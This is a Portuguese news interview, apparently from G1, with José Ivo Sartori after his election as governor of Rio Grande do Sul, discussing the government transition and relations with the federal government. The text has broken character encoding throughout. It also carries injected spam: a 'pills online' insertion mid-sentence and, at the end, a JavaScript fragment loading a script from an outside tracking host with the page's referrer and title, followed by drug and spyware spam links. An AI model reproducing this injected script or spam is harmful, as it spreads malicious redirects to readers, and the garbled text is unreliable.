‘O Rio Grande Ai?? maior que as nossas diferenAi??as’, diz Sartori apA?s ser eleito
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G1 RS
JosAi?? Ivo Sartori (PMDB) concedeu entrevista ao G1 nesta segunda-feira.
Novo chefe do Executivo falou sobre intenAi??Ai??es no comando do Piratini.
Caetanno Freitas
O governador eleito do Rio Grande do Sul, JosAi?? Ivo Sartori (PMDB), concedeu entrevista ao G1 nesta segunda-feira (27), um dia apA?s ser confirmado como novo chefe do Executivo para os prA?ximos quatro anos. Sorridente, chegou aos estA?dios da RBS TV, em Porto Alegre, fazendo brincadeiras com a maratona de entrevistas e demonstrando alAi??vio com o fechamento da campanha vitoriosa, que conquistou 61,21% do eleitorado gaA?cho (veja a Ai??ntegra da entrevista acima).
Sartori atribuiu a vitA?ria nas urnas a seu estilo conciliador, aberto e em prol do interesse coletivo. Admitiu que ficou chateado com os ataques do PT, mas que fez as pazes com o governador Tarso Genro, de quem aceitou e agradeceu a indicaAi??A?o de nomes para ajudar na transiAi??A?o de governo.
Na entrevista, antes de entrar ao vivo no Jornal do AlmoAi??o (reveja a entrevista ao telejornal acima), Sartori afirmou que nA?o vA? chance de conflito com a presidente reeleita Dilma Rousseff (PT) por ter apoiado o candidato derrotado AAi??cio Neves (PSDB). Ele garantiu que haverA? entendimento entre governo estadual e federal, jA? que seu partido, o PMDB, Ai?? um dos maiores apoiadores do governo Dilma, representado na figura do vice-presidente Michel Temer, presidente nacional da sigla. TambAi??m reforAi??ou que nA?o vai adiantar planos imediatos de governo, nem mesmo possAi??veis nomes para o secretariado.
Confira abaixo a Ai??ntegra da entrevista concedida ao G1.
G1 – Como serA? o primeiro dia como governador, apA?s a posse?
JosAi?? Ivo Sartori – Eu nunca estive lA?, a nA?o ser em 1998, quando assumi em duas oportunidades o lugar do governador Antonio Britto, quando eu era presidente da Assembleia. Acredito que o primeiro dia deve ser mais protocolar, mais institucional. Mas como nunca participei disso nA?o sei bem como vai ser.
G1 – O senhor Ai?? a prova dessa tradiAi??A?o dos gaA?chos de nA?o reeleger governadores. Quatro anos nA?o Ai?? pouco tempo para governar e colocar as propostas em prA?tica?
JosAi?? Ivo Sartori – Siceramente, nA?o sei dizer. Sei que existe uma proposta que tem de ser discutida. ComeAi??ou com o Eduardo Campos, depois com a Marina Silva e o pills online Beto Albuquerque e agora com o AAi??cio. Vi tambAi??m que a presidenta Dilma disse isso durante os debates e voltou a afirmar na coletiva de ontem [domingo], que deseja fazer uma reforma polAi??tica eleitoral partidA?ria. Acho isso muito importante porque, se um governo deseja fazer uma reforma, ela acontece. Em segundo lugar, existe gente que especula a possibilidade de que os mandatos executivos sejam de cinco anos. Eu diria que pode ser uma alternativa, mas todas aAi?? as eleiAi??Ai??es serA?o conjuntas. Posso dizer que o mais importante de tudo seja a transiAi??A?o do governador. O Tarso me ligou, gentilmente, ontem Ai?? tarde [domingo], e disse que estava me cumprimentando e dizendo que a eleiAi??A?o era legAi??tima. Eu disse a ele: olha, na verdade quem ganha a eleiAi??A?o tem de ter grandeza de quem ganha. Gostei muito do gesto dele, achei democrA?tico, aberto. Ele colocou Ai?? disposiAi??A?o de que, na semana que vem, designarA? o secretariado quando eu desejar, para que junto com nossa equipe possa fazer o processo de transiAi??A?o. Isso Ai?? uma coisa positiva, respeitosa. Ai?? a caminhada que a gente tem de fazer. Instruir porque amanhA? Ai?? um dos nossos grandes desafios e nA?s vamos precisar de todas as mA?os.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; cheap levothroid recall http://devi.mhs.narotama.ac.id/2018/02/02/is-citalopram-a-generic-for-lexapro/ http://gamburg.de/android-tracker-keyword-spy-software-for-android/ dostinex tablets price